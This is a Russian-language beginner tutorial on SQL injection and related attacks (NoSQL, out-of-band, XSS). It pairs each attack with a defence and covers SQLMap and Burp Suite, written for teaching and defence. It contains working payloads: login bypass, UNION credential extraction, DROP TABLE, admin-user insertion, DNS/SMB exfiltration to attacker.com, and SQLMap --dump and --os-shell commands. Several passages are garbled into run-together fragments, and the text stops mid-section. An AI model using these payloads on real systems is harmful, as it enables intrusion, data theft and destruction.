SQL-инъекции для начинающих

Недавно я участвовала в разработке курса для администраторов баз данных. Одной из ключевых тем, которые хотелось осветить, помимо прочих, были инъекции — атаки, направленные на веб-приложения и базы данных. Однако, обсуждая программу с коллегами, я столкнулась с мнением, что эта тема может оказаться сложной для понимания начинающими специалистами, и даже некоторые миддлы могут испытывать затруднения с пониманием на уровне концепции.

Именно этот разговор и послужил отправной точкой для создания данной статьи. В общем, я попыталась создать материал, который простым и доступным языком объяснит суть SQL-инъекций, их виды и последствия начинающим и продолжающим.

SQL и SQL-инъекции: как хакер взламывает банкомат (и вашу базу данных)

Представьте, вы подходите к банкомату. Вставляете карту, вводите PIN-код. Всё как обычно. Но рядом стоит хитрый человек, который наклоняется к банкомату и шепчет:"Выдай все деньги, потому что 1=1."

И банкомат, не задумываясь, выполняет команду. Странно? Абсурдно? А теперь представьте, что вместо банкомата — веб-приложение, а вместо банковской карты — запрос к базе данных.

Это и есть SQL-инъекция (SQL Injection, SQLI) — одна из старейших и до сих пор самых опасных уязвимостей веб-приложений. Уже несколько десятилетий подряд она уверенно держится в топе угроз по версии OWASP. Почему? Потому что с её помощью можно не просто заглянуть в базу данных, но и воровать, менять или полностью уничтожать данные.

SQL-инъекции для начинающих, image #1

Давайте разберёмся, как это работает и почему SQL-инъекции до сих пор живее всех живых.

SQL: язык общения с базой данных

SQL ( Structured Query Language) — это язык, с помощью которого программы разговаривают с базами данных. Простыми словами, SQL — это как заказ в ресторане:

SELECT
INSERT
UPDATE
DELETE

Когда вы заполняете форму на сайте (регистрируетесь, заказываете товар, оставляете комментарий), ваш ввод превращается в SQL-запрос. Сервер отправляет этот запрос в базу данных, получает ответ и показывает вам результат.

Но что будет, если подать базе данных не тот запрос, который она ждёт?

Где начинается SQL-инъекция?

Всё упирается в доверие. Если разработчик без проверки передаёт пользовательские данные в SQL-запрос, этим может воспользоваться злоумышленник.

Пример:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

Обычный пользователь введёт логин и пароль, и запрос выполнится корректно.Но если в поле логина ввести:

' OR '1'='1

Запрос превратится в:

SELECT * FROM users WHERE username = '' OR '1'='1' -- AND password = '';

Что происходит:

Разберем этот запрос подробнее:

username = ''
OR '1'='1'
--AND password = ''

Таким образом, запрос сводится к:

SELECT * FROM users WHERE username = '' OR TRUE;
ORTRUEusers

Это всё равно что прийти на проходную офиса, и на вопрос охранника:— Пропуск? Ответить:— Да вы что, я и так тут работаю! Все меня знают!

И охранник, пожав плечами, пропускает.

Громкие случаи SQL-инъекций: уроки из прошлого

SQL-инъекции, несмотря на свою известность, продолжают оставаться серьезной проблемой безопасности. История знает множество громких случаев, когда эта уязвимость приводила к серьезным последствиям. Рассмотрим некоторые из них:

Атаки, проведенные злоумышленниками:

Турецкое правительство (2013): удаление записей о задолженностях. Эта дерзкая атака с использованием SQL-инъекций привела к взлому веб-портала турецкого правительства. Злоумышленники смогли получить доступ к базе данных и удалить записи о задолженности граждан по коммунальным услугам, таким как вода, газ и электричество, что вызвало серьезный сбой в работе государственных служб.

Flaticon и Freepik (2020): кража данных миллионов пользователей. Хакерская атака с использованием SQL-инъекций была направлена на веб-сайты Flaticon и Freepik, предоставляющие графические ресурсы. В результате атаки злоумышленники получили доступ к адресам электронной почты и паролям 8,3 миллионов пользователей обеих платформ.

Атаки постарше

HBGary (2011): атака Anonymous на компанию по кибербезопасности. Хакеры, связанные с группировкой Anonymous, использовали SQL-инъекции для компрометации веб-сайта компании HBGary Federal, занимавшейся вопросами кибербезопасности. Атака стала ответом на заявление генерального директора HBGary о том, что он располагает информацией о личностях активистов Anonymous.

В результате атаки были опубликованы тысячи электронных писем и конфиденциальных документов компании, что нанесло серьезный репутационный ущерб.

Атака GhostShell (2012): массовая утечка данных из университетов. Хакерская группа GhostShell провела масштабную кампанию SQL-инъекций, целью которой стали веб-сайты 53 университетов по всему миру. В результате атаки произошла утечка десятков тысяч записей студентов, преподавателей и сотрудников, включая личные данные, оценки и другую конфиденциальную информацию.

Обнаруженные уязвимости (без эксплуатации злоумышленниками):

Fortnite (2019): потенциальная угроза миллионам аккаунтов. В популярной онлайн-игре Fortnite была обнаружена уязвимость SQL-инъекции, которая, по оценкам, могла поставить под угрозу более 350 миллионов учетных записей пользователей. Разработчики оперативно выпустили обновление для устранения уязвимости.

MOVEit Transfer (2023): несколько уязвимостей SQL-инъекций. В программном обеспечении для передачи файлов MOVEit Transfer были обнаружены и исправлены несколько уязвимостей SQL-инъекций. Эксплуатация этих уязвимостей могла привести к несанкционированному доступу к базам данных и утечке конфиденциальной информации.

Атаки постарше

Tesla (2014): уязвимость, обнаруженная пентестерами. Команда тестировщиков на проникновение обнаружила уязвимость SQL-инъекции на веб-сайте Tesla, которая потенциально могла позволить получить права администратора и доступ к конфиденциальным данным клиентов. Благодаря своевременному обнаружению уязвимость была устранена до того, как ее смогли использовать злоумышленники.

Cisco (2018): уязвимость в программном обеспечении. В программном обеспечении Cisco была обнаружена уязвимость SQL-инъекции, которая могла предоставить злоумышленникам несанкционированный доступ к системам. Cisco оперативно выпустила исправление для устранения этой уязвимости.

И это лишь верхушка айсберга. Ежегодно тысячи компаний становятся жертвами SQL-инъекций.

Почему SQL-инъекции до сих пор живы?

SQL-инъекция существует больше 20 лет. Казалось бы, за это время разработчики могли бы научиться защищаться. Но нет. Почему?

Экономия на безопасности — малый бизнес часто нанимает неопытных разработчиков и не проводит аудит кода.

Гонка за релизами — быстрее выпустить продукт важнее, чем потратить время на безопасную архитектуру.

Устаревшие системы — многие работают на коде, которому больше десяти лет.

Человеческий фактор — ошибаются даже опытные специалисты.

SQL-инъекция — это атака на халатность. Чем больше доверия к пользовательскому вводу, тем выше риск.

Чем это грозит бизнесу?

SQL-инъекция — это не только техническая проблема. Это реальный риск для бизнеса.

Потеря данных. Удаление, изменение или кража конфиденциальной информации.

Финансовые потери. Утечка клиентских данных приводит к штрафам и судебным искам.

Потеря репутации. Доверие клиентов легко потерять и почти невозможно вернуть.

DROP TABLE

Как это предотвратить?

Ответ простой: не доверяйте пользователю. Никогда. Даже если это вы сами.

Как работает SQL-инъекция: пошаговое руководство по взлому (и защите)

SQL-инъекция — это не магия, а банальное недопонимание того, как работают базы данных. Хакеру не нужно ломать сервер или подбирать сложные пароли. Всё, что ему нужно — это возможность отправить базе данных свой запрос.

Чтобы понять, как это работает, разберёмся в самых популярных видах атак и почему они срабатывают.

1. Прямое встраивание кода: классика жанра

Это один из самых простых, но, к сожалению, до сих пор распространенных видов SQL-инъекций. Суть атаки заключается в том, что пользовательский ввод напрямую, без какой-либо обработки или проверки, вставляется в SQL-запрос.

Как работает:

Представьте себе веб-страницу с формой для входа. Пользователь вводит свой логин и пароль, нажимает кнопку "Войти", и эти данные отправляются на сервер. Сервер, в свою очередь, формирует SQL-запрос для проверки наличия такого пользователя в базе данных.

Пример уязвимого кода (PHP):

$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($query); // УЯЗВИМО!

В этом коде значения, введенные пользователем в поля username и password, напрямую подставляются в SQL-запрос. Это создает серьезную уязвимость.

Кейс для начинающих:

Представьте, что в базе данных есть таблица users со столбцами id, username и password. Разработчик написал код, который должен проверять, есть ли в базе пользователь с введенными логином и паролем.

Обычный пользователь вводит:

username: ivan
password: mypassword

Запрос к базе данных будет выглядеть так:

SELECT * FROM users WHERE username = 'ivan' AND password = 'mypassword';

Все работает корректно, база данных ищет пользователя с логином ivan и паролем mypassword.

username: admin' --

Что происходит:

Введенное значение подставляется в SQL-запрос, и он превращается в:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '';

Почему это работает:

----AND password = ''
SELECT * FROM users WHERE username = 'admin';

Таким образом, если в базе данных есть пользователь с логином admin, запрос вернет его данные, независимо от введенного пароля. Злоумышленник получает доступ к учетной записи администратора.

Как защититься:

Самый эффективный способ защиты от прямого встраивания кода — использование параметризованных запросов(prepared statements) или связанных параметров(bound parameters).

Пример безопасного кода (PHP с PDO):

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
usernamepassword

Более глубокое объяснение и примеры на других языках

Почему параметризованные запросы безопасны:

При использовании параметризованных запросов база данных сначала компилирует SQL-запрос, а затем подставляет в него значения параметров. Это гарантирует, что пользовательский ввод никогда не будет интерпретирован как часть SQL-кода.

Примеры на других языках:

Python (psycopg2 для PostgreSQL)

cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))

Java (JDBC)

PreparedStatement statement = connection.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?");
statement.setString(1, username);
statement.setString(2, password);
ResultSet result = statement.executeQuery();

Node.js (mysql2)

const [rows] = await connection.execute('SELECT * FROM users WHERE username = ? AND password = ?', [username, password]);
  1. UNION-инъекция: смешиваем, что не смешивается
UNIONSELECT

Как работает:

Представьте себе страницу интернет-магазина, где отображаются товары определенной категории. Запрос к базе данных может выглядеть так:

SELECT name, price FROM products WHERE category = '$category';
$category

Кейс для начинающих:

Предположим, пользователь хочет посмотреть товары категории "Electronics". Тогда запрос будет выглядеть так:

SELECT name, price FROM products WHERE category = 'Electronics';

База данных вернет список товаров с названиями и ценами, относящихся к категории "Electronics".

Теперь представим, что злоумышленник вводит в поле поиска следующее значение:

' UNION SELECT username, password FROM users; --

Что происходит:

Уязвимый код без должной обработки подставит это значение непосредственно в запрос, и он превратится в:

SELECT name, price FROM products WHERE category = '' UNION SELECT username, password FROM users; --'

Почему это работает:

Разберем этот запрос по частям:

SELECT nameprice FROM products WHERE category = ''
UNION SELECT usernamepassword FROM usersUNIONusers
--
nameusernamepricepasswordUNION
users

Пример отображения на странице (упрощенно):

Вместо

Название | Цена
------- | --------
Laptop   | $1000
Tablet   | $300

Мы увидим:

Название | Цена
------- | --------
ivan     | mypassword
petr     | anotherpassword
...      | ...

Как узнать количество столбцов и более сложные примеры

Определение количества столбцов:

ORDER BYORDER BY 1ORDER BY 2ORDER BY 3ORDER BY 4

Пример с разными типами данных и приведение типов:

priceusernameCAST
' UNION SELECT username, CAST(price AS CHAR) FROM users; --

Получение информации о базе данных:

UNION
' UNION SELECT table_name, column_name FROM information_schema.columns; -- (MySQL)
' UNION SELECT name, sql FROM sqlite_master WHERE type='table'; -- (SQLite)

Как защититься:

Как и в случае с прямым встраиванием кода, самым эффективным способом защиты является использование параметризованных запросов (prepared statements). Они гарантируют, что пользовательский ввод будет интерпретироваться как данные, а не как часть SQL-кода. Кроме того, важно ограничивать права пользователей базы данных, чтобы даже в случае успешной инъекции злоумышленник не смог получить доступ к конфиденциальным данным.

  1. Error-Based SQL-инъекция: узнать всё через ошибки

Этот вид инъекции основан на том, что база данных при определенных условиях выдает сообщения об ошибках. Эти сообщения, предназначенные для разработчиков при отладке, могут содержать ценную информацию для злоумышленника, например:

Версию СУБД (MySQL, PostgreSQL, MS SQL Server и т.д.).

Структуру базы данных (имена таблиц, столбцов).

Пути к файлам на сервере (в некоторых случаях).

Как работает:

Когда в SQL-запросе возникает синтаксическая или логическая ошибка, база данных генерирует сообщение об этой ошибке. Обычно это происходит, когда запрос сформирован некорректно. Злоумышленник намеренно создает такие ошибки, чтобы "выудить" нужную информацию.

Кейс для начинающих:

ID
SELECT * FROM products WHERE id = $id;
$idexample.com/product.php?id=1
id=1'

В результате запрос станет:

SELECT * FROM products WHERE id = '';

Это может привести к ошибке, если столбец id имеет числовой тип. Сообщение об ошибке может выглядеть примерно так:

“Error: Incorrect integer value: '' for column 'id' at row 1”

id

Теперь рассмотрим более сложный пример инъекции:

' AND 1=CONVERT(INT, (SELECT @@version)) --

Что происходит:

Этот код добавляется к исходному запросу. Разберем его по частям:

'
AND 1=AND
CONVERT(INT, (SELECT @@version))@@versionCONVERT(INT, ...)
--

Почему это работает:

SELECT @@versionCONVERT(INT, ...)
SELECT @@versionSELECT version()

Пример сообщения об ошибке (MS SQL Server):

“Conversion failed when converting the varchar value 'Microsoft SQL Server 2019' to data type int.”

Это явно указывает на то, что используется MS SQL Server.

Более глубокий анализ через ошибки и примеры на других СУБД

extractvalue()
extractvalue()
' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) --
0x7e~concat()

Примеры на других СУБД:

||current_database()

Использование ошибок для извлечения данных:

SUBSTRING()MID()

Как защититься:

Самая важная мера защиты — не показывать технические ошибки пользователям. Все сообщения об ошибках должны быть заменены на общие сообщения, не раскрывающие никакой информации о базе данных или внутреннем устройстве приложения. Например, вместо сообщения об ошибке SQL можно показывать сообщение "Произошла ошибка. Пожалуйста, попробуйте позже."

Кроме того, необходимо использовать параметризованные запросы и валидацию входных данных, чтобы предотвратить возможность формирования некорректных SQL-запросов.

  1. Blind SQL-инъекция: взлом на ощупь

Blind SQL-инъекция — это вид атаки, при которой злоумышленник не получает прямых сообщений об ошибках от базы данных. Это делает атаку более сложной, так как хакеру приходится анализировать косвенные признаки, чтобы получить информацию. Существует два основных типа Blind SQL-инъекций: Boolean-based (основанная на логических условиях) и Time-based (основанная на времени).

Как работает:

Когда сервер настроен на подавление всех сообщений об ошибках (что является хорошей практикой безопасности), злоумышленник не может использовать Error-based SQL-инъекцию. В этом случае он прибегает к Blind SQL-инъекции, анализируя ответ сервера на различные запросы.

4.1. Boolean-Based Blind SQL-инъекция (инъекция, основанная на логических условиях)

Концепция: Злоумышленник вставляет в запрос логические условия, которые либо истинны, либо ложны. В зависимости от результата выполнения условия, страница будет отображаться по-разному (например, страница загрузится или будет показана ошибка/пустая страница). Анализируя эту разницу, хакер может получить информацию.

Кейс для начинающих:

ID
SELECT * FROM users WHERE id = $id;

Злоумышленник вводит:

id = 1 AND (SELECT 1 FROM users WHERE id=1) IS NOT NULL
id = 1 AND (SELECT 1 FROM users WHERE id=2) IS NOT NULL

Что происходит:

id = 1 AND (SELECT 1 FROM users WHERE id=1) IS NOT NULLid=1(SELECT 1 FROM users WHERE id=1)IS NOT NULLid=1IS NOT NULL
id = 1 AND (SELECT 1 FROM users WHERE id=2) IS NOT NULLid=2

Таким образом, сравнивая ответы сервера на запросы с разными логическими условиями, злоумышленник может понемногу получать информацию о базе данных.

4.2. Time-Based Blind SQL-инъекция (инъекция, основанная на времени):

Концепция: Злоумышленник вставляет в запрос SQL-функции, которые вызывают задержку выполнения запроса на определенное время. Анализируя время ответа сервера, хакер может определить, выполнилось ли условие.

Кейс для начинающих:

Тот же пример со страницей пользователя:

SELECT * FROM users WHERE id = $id;

Злоумышленник вводит:

' OR IF(1=1, SLEEP(5), 0) -- (в MySQL)

Что происходит:

Запрос превращается в:

SELECT * FROM users WHERE id = '' OR IF(1=1, SLEEP(5), 0) --

Почему это работает:

IF(условие, действие_если_истина, действие_если_ложь)SLEEP(5)1=1SLEEP(5)

Таким образом, если страница "тормозит" на 5 секунд, это означает, что условие истинно.

Более сложные примеры и SQLMap

Boolean-Based: извлечение данных посимвольно

SUBSTRING()MID()
' AND SUBSTRING((SELECT username FROM users WHERE id = 1), 1, 1) = 'a' --
id=1

Time-Based: извлечение данных посимвольно

IFSLEEP
' OR IF(SUBSTRING((SELECT username FROM users WHERE id = 1), 1, 1) = 'a', SLEEP(5), 0) --

SQLMap для автоматизации атак:

sqlmap -u "http://example.com/page.php?id=1" --dbs

SQLMap автоматически определяет тип инъекции и пытается извлечь информацию из базы данных, используя различные техники, включая Blind SQL-инъекцию.

Как защититься:

Лучшая защита от Blind SQL-инъекций — это, как и в предыдущих случаях, использование параметризованных запросов. Они полностью исключают возможность интерпретации пользовательского ввода как SQL-кода.

Дополнительные меры:

Ограничение количества запросов с одного IP-адреса. Это может затруднить автоматизированные атаки.

Мониторинг времени ответа сервера. Необычные задержки могут указывать на попытку Time-Based инъекции.

  1. Вторичная SQL-инъекция: взрыв с задержкой

В отличие от рассмотренных ранее видов инъекций, где вредоносный код выполняется немедленно, при вторичной SQL-инъекции атака происходит в два этапа. Сначала злоумышленник внедряет вредоносный SQL-код в базу данных, а затем, при определенных условиях, этот код выполняется. Именно поэтому её называют "взрывом с задержкой".

Как работает:

Внедрение. Злоумышленник вводит вредоносный SQL-код в какое-либо поле ввода на сайте (например, поле "О себе" в профиле пользователя, комментарий, сообщение на форуме и т. д.). Этот код сохраняется в базе данных без должной обработки.

Активация. Когда приложение извлекает сохраненные данные из базы и использует их в SQL-запросе, внедренный код выполняется.

Кейс для начинающих:

Представим себе веб-сайт с профилями пользователей. У каждого пользователя есть поле "О себе", где он может написать небольшую информацию.

Злоумышленник вводит в поле "О себе" следующий код:

'); DROP TABLE users; --

Что происходит:

Этот текст сохраняется в базе данных в поле "О себе" пользователя. Проходит какое-то время. Администратор сайта заходит в панель управления и просматривает профили пользователей, например, для модерации. Приложение формирует SQL-запрос для извлечения информации о пользователе, включая поле "О себе":

SELECT * FROM users WHERE id = $user_id;
$user_id
SELECT * FROM users WHERE id = $user_id; SELECT * FROM profiles WHERE user_id = $user_id and about = ''); DROP TABLE users; --

Почему это работает:

Разберем этот запрос.

SELECT * FROM users WHERE id = $user_id; SELECT * FROM profiles WHERE user_id = $user_id and about = '';
DROP TABLE users;
--

Таким образом, при просмотре профиля злоумышленника администратором, выполняется вредоносный SQL-код, что приводит к удалению таблицы users и, скорее всего, к полной неработоспособности сайта.

SQL-инъекции для начинающих, image #2

Другой пример:

Злоумышленник может внедрить код, который добавит нового пользователя с правами администратора:

'); INSERT INTO users (username, password, is_admin) VALUES ('hacker', 'password123', 1); --

Как защититься:

Защита от вторичных SQL-инъекций требует комплексного подхода:

Фильтрация и проверка данных при вводе. Необходимо проверять и фильтровать все данные, поступающие от пользователя, на наличие опасных символов и SQL-команд.

Экранирование данных при выводе. Даже если данные уже сохранены в базе, необходимо повторно экранировать их перед использованием в SQL-запросах.

Параметризованные запросы. Использование параметризованных запросов остается крайне важным.

Минимизация привилегий. Ограничение прав пользователей базы данных.

Примеры фильтрации и экранирования, а также более сложные сценарии

Пример фильтрации (PHP):

$about = strip_tags($_POST['about']); // Удаление HTML-тегов
$about = preg_replace('/[^a-zA-Z0-9\s]/', '', $about); // Удаление всех символов, кроме букв, цифр и пробелов

Пример экранирования (PHP):

$about = mysqli_real_escape_string($conn, $_POST['about']);

Более сложные сценарии:

Вторичные инъекции могут быть более сложными, например, когда внедренный код выполняется при экспорте данных в CSV или XML, при генерации отчетов или в других ситуациях, когда данные из базы используются повторно.

  1. NoSQL-инъекция: взлом в облаках

Хотя термин "SQL-инъекция" напрямую относится к базам данных SQL, базы данных NoSQL, такие как MongoDB, Cassandra и Couchbase, также подвержены инъекциям, хотя и другого типа. NoSQL-инъекции эксплуатируют особенности синтаксиса запросов этих баз данных, часто основанных на JSON или других форматах.

Как работает:

В NoSQL базах данных запросы часто формируются с использованием JSON-подобных структур. Если пользовательский ввод напрямую конкатенируется в эти структуры без должной обработки, это может привести к инъекции.

Кейс для начинающих (MongoDB):

Представим себе функцию, которая ищет пользователя в базе данных MongoDB:

function findUser(username, password) {
db.users.find({ username: username, password: password });
}
usernamepassword

Обычный вызов функции может выглядеть так:

findUser("ivan", "mypassword");

Запрос к MongoDB будет выглядеть примерно так (внутреннее представление):

{ "username": "ivan", "password": "mypassword" }
username
{ "$ne": null }
password{ "$ne": null }

Что происходит:

После подстановки этих значений в запрос, он превратится в:

db.users.find({ username: { "$ne": null }, password: { "$ne": null } });

Почему это работает:

$ne{ "$ne": null }db.users.find({ username: { "$ne": null }, password: { "$ne": null } })users

Другие примеры NoSQL-инъекций (MongoDB):

$where
db.users.find({ $where: "this.username == '" + username + "'" });
username
$regex
db.products.find({ name: { $regex: name } });
name

Как защититься:

Параметризованные запросы (в контексте NoSQL, это скорее "плейсхолдеры"). Использование параметризованных запросов или плейсхолдеров позволяет избежать прямой конкатенации пользовательского ввода в запросы. В MongoDB используются подготовленные запросы с передачей параметров отдельно от запроса.Пример (Node.js с MongoDB драйвером):

const query = { username: username, password: password };
const users = await db.collection('users').find(query).toArray();
usernamepassword

Валидация входных данных. Проверка типов и форматов данных, введенных пользователем.

Использование ORM/ODM (Object-Relational/Object-Document Mapper). ORM/ODM предоставляют абстракцию над базой данных и часто имеют встроенные механизмы защиты от инъекций.

Минимизация привилегий. Ограничение прав доступа к базе данных.

Примеры более сложных NoSQL-инъекций и подробности о защите

$gt$lt$exists

Подробности о защите:

Экранирование символов. В некоторых случаях может быть полезно экранирование специальных символов, используемых в запросах NoSQL. Однако, параметризованные запросы являются более надежным решением.

Контекстуальное экранирование. Экранирование должно выполняться с учетом контекста, в котором используются данные.

  1. Out-of-Band SQL-инъекция: взлом в обход

Out-of-Band SQL-инъекция — это продвинутый тип атаки, который используется, когда другие методы (например, Error-based или Blind SQL-инъекции) неэффективны из-за ограничений на стороне сервера (например, полное подавление сообщений об ошибках, отсутствие возможности влиять на время ответа). Суть этой атаки заключается в том, что злоумышленник заставляет сервер базы данных самостоятельно отправлять данные на внешний ресурс, контролируемый атакующим.

Как работает:

Вместо того чтобы получать информацию непосредственно в ответе на запрос, злоумышленник использует SQL-команды, которые позволяют базе данных выполнять внешние действия, например:

DNS-запросы.

HTTP-запросы.

Запись в файлы на удаленном сервере.

Таким образом, данные "вытекают" из базы данных по "боковому" каналу связи, минуя обычный канал ответа на запрос.

Кейс для начинающих:

Представим, что у нас есть веб-приложение, которое никак не реагирует на введенные SQL-инъекции (не выдает ошибок, не меняет время ответа). Обычные методы инъекций здесь не работают.

Злоумышленник может попробовать использовать следующую инъекцию (пример для MS SQL Server):

'; EXEC master..xp_dirtree '\\attacker.com\share' --

Что происходит:

После внедрения этой строки в уязвимое место (например, в поле ввода), запрос к базе данных будет выглядеть примерно так:

SELECT * FROM products WHERE name = ''; EXEC master..xp_dirtree '\\attacker.com\share' --'

Почему это работает (MS SQL Server):

xp_dirtree\\attacker.com\share

При выполнении этого запроса сервер базы данных попытается получить доступ к указанному сетевому пути. Это приведет к следующим последствиям:

Сервер выполнит DNS-запрос для разрешения имени attacker.com, чтобы узнать его IP-адрес. Этот DNS-запрос будет зафиксирован на DNS-сервере, контролируемом атакующим. Таким образом, злоумышленник узнает, что уязвимость существует.

Сервер попытается установить SMB-соединение (протокол доступа к файлам Windows) с удаленным ресурсом \\attacker.com\share. Это также будет зафиксировано на стороне атакующего.

В некоторых случаях (в зависимости от настроек сервера и прав доступа) сервер может даже передать на удаленный ресурс информацию о себе (например, имя пользователя, под которым работает служба SQL Server).

Другие примеры Out-of-Band инъекций:

LOAD_FILE()

HTTP-запросы. В некоторых СУБД есть функции, позволяющие выполнять HTTP-запросы. Злоумышленник может использовать их для отправки данных на свой сервер.

Как защититься:

Защита от Out-of-Band SQL-инъекций требует комплексного подхода.

xp_dirtree

Настройка сетевого экрана (Firewall). Необходимо настроить сетевой экран таким образом, чтобы он блокировал исходящие соединения с сервера базы данных на подозрительные порты и IP-адреса.

Мониторинг сетевой активности. Необходимо отслеживать сетевую активность сервера базы данных, чтобы выявлять необычные исходящие соединения.

Параметризованные запросы. Хотя Out-of-Band инъекции часто используются, когда другие методы не работают, параметризованные запросы все равно являются важной частью общей стратегии защиты.

Минимизация привилегий. Ограничение прав пользователя базы данных, под которым работает веб-приложение.

Примеры DNS Exfiltration и более подробные сведения о настройке Firewall

Пример DNS Exfiltration (MySQL):

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT DATABASE()), '.attacker.com\\test'));

Этот запрос попытается получить доступ к несуществующему файлу на удаленном сервере, что приведет к DNS-запросу, содержащему имя текущей базы данных.

Настройка Firewall:

Настройка Firewall должна включать блокировку исходящих соединений с сервера базы данных на порты, используемые для передачи файлов (например, 445 для SMB), а также на неизвестные или подозрительные IP-адреса.

  1. XSS (Cross-Site Scripting): инъекция на стороне клиента

Хотя XSS не относится напрямую к SQL-инъекциям, это одна из самых распространенных и опасных атак на веб-приложения. XSS позволяет злоумышленнику внедрить вредоносный скрипт в веб-страницу, который выполняется в браузере жертвы. Это отдельный тип атаки, который часто рассматривается вместе с SQL-инъекциями из-за их распространенности в веб-приложениях.

Представьте себе, что на сайте есть “стена” для сообщений, где пользователи могут писать что угодно. Злоумышленник оставляет на этой стене "записку" с вредоносным кодом. Когда кто-то другой читает эту "записку", код выполняется прямо у него в браузере. Это похоже на вирус, который распространяется через веб-страницы.

Как работает:

Злоумышленник внедряет вредоносный JavaScript-код в поля ввода на сайте (например, комментарии, формы поиска, поля профиля). Когда другой пользователь открывает страницу, содержащую этот код, браузер пользователя выполняет этот скрипт.

Кейс для начинающих: Представим простую форму для комментариев без фильтрации данных:

<form action="/comment" method="POST">
<input type="text" name="comment">
<button type="submit">Отправить</button>
</form>

Злоумышленник вводит в поле комментария следующий код:

<script>alert('Ваши куки украдены!');</script>

Что происходит:

alert()

Продвинутые функции XSS

XSS подразделяется на три основных типа:

Reflected XSS (Отраженная XSS). Вредоносный скрипт передается в запросе пользователя (например, в URL) и сразу же "отражается" на странице, которую видит пользователь. Пример: ``` http://example.com/search?q=<script>alert('XSS')</script> ``` Если сайт выводит значение параметра `q` на страницу без должной обработки, скрипт будет выполнен.

Stored XSS (Сохраненная XSS). Вредоносный скрипт сохраняется на сервере (например, в базе данных) и выполняется каждый раз, когда страница, содержащая этот скрипт, загружается другими пользователями. Примером может служить сообщение на форуме или комментарий к статье.

DOM-based XSS (XSS на основе DOM). Уязвимость возникает на стороне клиента, в JavaScript-коде страницы, который обрабатывает данные из DOM (Document Object Model). Вредоносный код не отправляется на сервер, а выполняется непосредственно в браузере пользователя, манипулируя DOM. XSS может использоваться для:

Кражи cookie (cookie hijacking). Получение доступа к cookie пользователя, что позволяет злоумышленнику авторизоваться от его имени.

Перенаправление пользователя на фишинговые сайты или сайты, распространяющие вредоносное ПО.

Изменение внешнего вида страницы или подмена информации.

Выполнения произвольных действий от имени пользователя. Например, отправка сообщений от имени пользователя в социальных сетях.

Как защититься:

<>&"'&lt;&gt;&amp;&quot;&#39;

Валидация входных данных (Input validation). Проверка и фильтрация данных, вводимых пользователем, на соответствие ожидаемому формату и типу.

Использование Content Security Policy (CSP). CSP позволяет контролировать источники, с которых браузер может загружать ресурсы (скрипты, стили, изображения и т.д.), что помогает предотвратить выполнение вредоносных скриптов.

HttpOnly

SQL-инъекции на практике: от поиска уязвимостей до защиты

Теория — это хорошо. Но давайте честно, без практики она мёртва. Чтобы по-настоящему понять, как работают SQL-инъекции и как с ними бороться, нужно посмотреть на реальные примеры. Сегодня посмотрим, как атакуют базы данных и как можно вовремя остановить хакера.

⚠️ Внимание! Всё, что здесь описано, предназначено только для обучения и тестирования в безопасных средах. Взлом чужих систем — это преступление.

Как искать уязвимости: SQLMap в действии

SQLMap — это мощный инструмент с открытым исходным кодом, предназначенный для автоматизации процесса обнаружения и эксплуатации SQL-инъекций. Он может сканировать веб-приложения на наличие уязвимостей, а также автоматически эксплуатировать их для получения доступа к базе данных.

Как работает:

SQLMap отправляет различные SQL-запросы на веб-сервер и анализирует ответы, чтобы определить, есть ли уязвимость. Если уязвимость обнаружена, SQLMap может использовать различные техники (включая те, что мы рассмотрели ранее: UNION-инъекции, Blind-инъекции и др.) для извлечения информации из базы данных.

Кейс для начинающих:

http://test.example.com/product.php?id=1.

Для проверки этой страницы на уязвимость с помощью SQLMap достаточно выполнить следующую команду в терминале (Linux/macOS):

sqlmap -u "http://test.example.com/product.php?id=1" --batch

Что происходит:

-u
--batch

SQLMap начнет отправлять различные запросы на сервер, пытаясь найти SQL-инъекции. Если уязвимость будет обнаружена, он сообщит об этом и предложит различные варианты эксплуатации.

Продвинутые функции SQLMap

SQLMap обладает множеством продвинутых функций, которые позволяют выполнять более сложные атаки:

Получение списка баз данных:

sqlmap -u "http://test.example.com/product.php?id=1" --dbs

Эта команда выведет список всех баз данных, доступных для текущего пользователя базы данных.

Получение списка таблиц в базе данных:

sqlmap -u "http://test.example.com/product.php?id=1" -D mydatabase --tables
-D mydatabase

Извлечение данных из таблицы:

sqlmap -u "http://test.example.com/product.php?id=1" -D mydatabase -T users --dump
-T users--dump

Выполнение команд операционной системы: В некоторых случаях, если у пользователя базы данных есть соответствующие права, SQLMap может выполнять команды операционной системы на сервере:

sqlmap -u "http://test.example.com/product.php?id=1" --os-shell

Burp Suite: Лаборатория для пентестера

Burp Suite — один из самых популярных инструментов для тестирования безопасности веб-приложений. Он позволяет перехватывать, анализировать и изменять HTTP(S)-запросы между браузером и сервером, что делает его идеальным инструментом для поиска SQL-инъекций.

Как работает:

Burp Suite действует как прокси-сервер, который перехватывает трафик между браузером и веб-сайтом. Это позволяет детально анализировать запросы и ответы, вносить изменения и проверять, как сервер реагирует на различные атаки, включая SQL-инъекции.

Кейс для начинающих: тестирование формы входа на сайте на наличие SQL-инъекций.

Запустите Burp Suite. Настройте браузер на использование прокси Burp Suite (обычно 127.0.0.1:8080).

admin' --
admin

Продвинутые функции

Burp Suite предлагает мощный набор инструментов для поиска уязвимостей:

Proxy (Прокси): перехват и изменение запросов.

Intruder (Злоумышленник): автоматизированный перебор параметров (например, brute-force атаки на логин/пароль).

Repeater (Повторитель): ручное тестирование запросов с разными параметрами.

Scanner (Сканер): автоматический поиск уязвимостей (доступен в Pro версии).

Decoder (Декодер): декодирование и кодирование данных (Base64, URL и др.).

Comparer (Сравнитель): сравнение ответов сервера.

Extender: установка дополнительных плагинов.

Пример SQL-инъекции через Burp Suite:

POST /login HTTP/1.1  
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin' OR '1'='1&password=

Intruder может перебрать разные SQL-инъекции и автоматически выявить уязвимости.

OWASP ZAP: Бесплатный охотник за уязвимостями

OWASP ZAP (Zed Attack Proxy) — это бесплатный инструмент с открытым исходным кодом для поиска уязвимостей в веб-приложениях. Он прост в использовании и отлично подходит для начинающих.

Как работает:

